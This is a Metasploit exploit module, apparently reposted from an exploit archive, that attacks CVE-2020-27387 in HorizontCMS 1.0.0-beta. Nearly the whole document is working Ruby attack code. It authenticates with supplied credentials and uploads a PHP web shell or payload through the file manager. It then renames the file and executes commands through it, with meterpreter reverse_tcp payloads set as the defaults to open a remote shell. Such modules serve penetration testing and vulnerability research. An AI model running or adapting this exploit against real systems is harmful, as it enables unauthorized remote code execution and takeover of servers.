Share
## https://sploitus.com/exploit?id=PACKETSTORM:160046
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'HorizontCMS Arbitrary PHP File Upload',  
'Description' => %q{  
This module exploits an arbitrary file upload vulnerability in  
HorizontCMS 1.0.0-beta in order to execute arbitrary commands.  
  
The module first attempts to authenticate to HorizontCMS. It then tries  
to upload a malicious PHP file via an HTTP POST request to  
`/admin/file-manager/fileupload`. The server will rename this file to a  
random string. The module will therefore attempt to change the filename  
back to the original name via an HTTP POST request to  
`/admin/file-manager/rename`. For the `php` target, the payload is  
embedded in the uploaded file and the module attempts to execute the  
payload via an HTTP GET request to `/storage/file_name`. For the `linux`  
and `windows` targets, the module uploads a simple PHP web shell  
similar to `<?php system($_GET["cmd"]); ?>`. Subsequently, it leverages  
the CmdStager mixin to deliver the final payload via a series of HTTP  
GET requests to the PHP web shell.  
  
Valid credentials for a HorizontCMS user with permissions to use the  
FileManager are required. This would be all users in the Admin, Manager  
and Editor groups if HorizontCMS is configured with the default group  
settings.This module has been successfully tested against HorizontCMS  
1.0.0-beta running on Ubuntu 18.04.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Erik Wynter' # @wyntererik - Discovery and Metasploit  
],  
'References' =>  
[  
['CVE', '2020-27387']  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x0d\x0a"  
},  
'Platform' => %w[linux win php],  
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_PHP],  
'Targets' =>  
[  
[  
'PHP', {  
'Arch' => [ARCH_PHP],  
'Platform' => 'php',  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Linux', {  
'Arch' => [ARCH_X86, ARCH_X64],  
'Platform' => 'linux',  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows', {  
'Arch' => [ARCH_X86, ARCH_X64],  
'Platform' => 'win',  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => '2020-09-24',  
'DefaultTarget' => 0  
)  
)  
  
register_options [  
OptString.new('TARGETURI', [true, 'The base path to HorizontCMS', '/']),  
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])  
]  
end  
  
def check  
vprint_status('Running check')  
  
# visit /admin/login to obtain HorizontCMS version plus cookies and csrf token  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin', 'login'),  
'keep_cookies' => true  
})  
  
unless res  
return CheckCode::Unknown('Connection failed.')  
end  
  
unless res.code == 200 && res.body.include?('HorizontCMS')  
return CheckCode::Safe('Target is not a HorizontCMS application.')  
end  
  
# obtain csrf token  
html = res.get_html_document  
@csrf_token = html.at('meta[@name="csrf-token"]')['content']  
  
# obtain version  
/Version: (?<version>.*?)\n/ =~ res.body  
  
unless version  
return CheckCode::Detected('Could not determine HorizontCMS version.')  
end  
  
# vulnerable versions all start with 1.0.0 followed by `-beta`, `-alpha` or `-alpha.<number>`  
version_no, version_status = version.split('-')  
  
unless version_no == '1.0.0' && version_status && (version_status.include?('alpha') || version_status.include?('beta'))  
return CheckCode::Safe("Target is HorizontCMS with version #{version}")  
end  
  
return CheckCode::Appears("Target is HorizontCMS with version #{version}")  
end  
  
def login  
# check if @csrf_token is not blank, as this is required for authentication  
if @csrf_token.blank?  
fail_with(Failure::Unknown, 'Failed to obtain the csrf token required for authentication.')  
end  
  
# try to authenticate  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'login'),  
'keep_cookies' => true,  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
'_token' => @csrf_token,  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'submit_login' => 'login'  
}  
})  
  
unless res  
fail_with(Failure::Unreachable, 'Connection failed while trying to authenticate.')  
end  
  
unless res.code == 302 && res.body.include?('Redirecting to')  
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate.')  
end  
  
# keep only the newly added cookies, otherwise subsequent requests will fail  
auth_cookies = cookie_jar.to_a[2..3]  
self.cookie_jar = auth_cookies.to_set  
  
# using send_request_cgi! does not work so we have to follow the redirect manually  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard')  
})  
  
unless res  
fail_with(Failure::Unreachable, 'Connection failed while trying to authenticate.')  
end  
  
unless res.code == 200 && res.body.include?('Dashboard - HorizontCMS')  
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to authenticate.')  
end  
  
print_good('Successfully authenticated to the HorizontCMS dashboard')  
  
# get new csrf token  
html = res.get_html_document  
@csrf_token = html.at('meta[@name="csrf-token"]')['content']  
if @csrf_token.blank?  
fail_with(Failure::Unknown, 'Failed to obtain the csrf token required for uploading the payload.')  
end  
end  
  
def upload_and_rename_payload  
# set payload according to target platform  
if target['Platform'] == 'php'  
pl = payload.encoded  
else  
@shell_cmd_name = rand_text_alphanumeric(3..6)  
pl = "system($_GET[\"#{@shell_cmd_name}\"]);"  
end  
  
@payload_name = rand_text_alphanumeric(8..12) << '.php'  
print_status("Uploading payload as #{@payload_name}...")  
  
# generate post data  
post_data = Rex::MIME::Message.new  
post_data.add_part(@csrf_token, nil, nil, 'form-data; name="_token"')  
post_data.add_part('', nil, nil, 'form-data; name="dir_path"')  
post_data.add_part("<?php #{pl} ?>", 'application/x-php', nil, "form-data; name=\"up_file[]\"; filename=\"#{@payload_name}\"")  
  
# upload payload  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'file-manager', 'fileupload'),  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },  
'data' => post_data.to_s  
})  
  
unless res  
fail_with(Failure::Disconnected, 'Connection failed while trying to upload the payload.')  
end  
  
unless res.code == 200 && res.body.include?('Files uploaded successfully!')  
fail_with(Failure::Unknown, 'Failed to upload the payload.')  
end  
  
@payload_on_target = res.body.scan(/uploadedFileNames":\["(.*?)"/).flatten.first  
if @payload_on_target.blank?  
fail_with(Failure::Unknown, 'Failed to obtain the new filename of the payload on the server.')  
end  
  
print_good("Successfully uploaded #{@payload_name}. The server renamed it to #{@payload_on_target}")  
  
# rename payload  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'file-manager', 'rename'),  
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',  
'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },  
'vars_post' => {  
'_token' => @csrf_token,  
'old_file' => "/#{@payload_on_target}",  
'new_file' => "/#{@payload_name}"  
}  
})  
  
unless res  
fail_with(Failure::Disconnected, "Connection failed while trying to rename the payload back to #{@payload_name}.")  
end  
  
unless res.code == 200 && res.body.include?('File successfully renamed!')  
fail_with(Failure::Unknown, "Failed to rename the payload back to #{@payload_name}.")  
end  
  
print_good("Successfully renamed payload back to #{@payload_name}")  
end  
  
def execute_command(cmd, _opts = {})  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'storage', @payload_name),  
'vars_get' => { @shell_cmd_name => cmd }  
}, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload  
end  
  
def cleanup  
# delete payload  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin', 'file-manager', 'delete'),  
'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },  
'vars_get' => {  
'_token' => @csrf_token,  
'file' => "/#{@payload_name}"  
}  
})  
  
unless res && res.code == 200 && res.body.include?('File deleted successfully')  
print_error('Failed to delete the payload.')  
print_warning("Manual cleanup of #{@payload_name} is required.")  
return  
end  
  
print_good("Successfully deleted #{@payload_name}")  
end  
  
def exploit  
login  
upload_and_rename_payload  
  
# For `php` targets, the payload can be executed via a simlpe GET request. For other targets, a cmdstager is necessary.  
if target['Platform'] == 'php'  
print_status('Executing the payload...')  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'storage', @payload_name)  
}, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload  
else  
print_status("Executing the payload via a series of HTTP GET requests to `/storage/#{@payload_name}?#{@shell_cmd_name}=<command>`")  
execute_cmdstager(background: true)  
end  
end  
end